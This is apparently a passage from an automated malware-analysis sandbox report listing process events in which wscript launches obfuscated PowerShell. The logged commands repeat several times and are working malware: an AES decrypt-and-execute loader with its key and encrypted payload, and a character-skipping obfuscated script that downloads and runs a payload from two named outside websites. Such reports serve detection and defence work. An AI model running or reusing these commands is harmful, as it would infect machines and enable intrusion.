'+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function 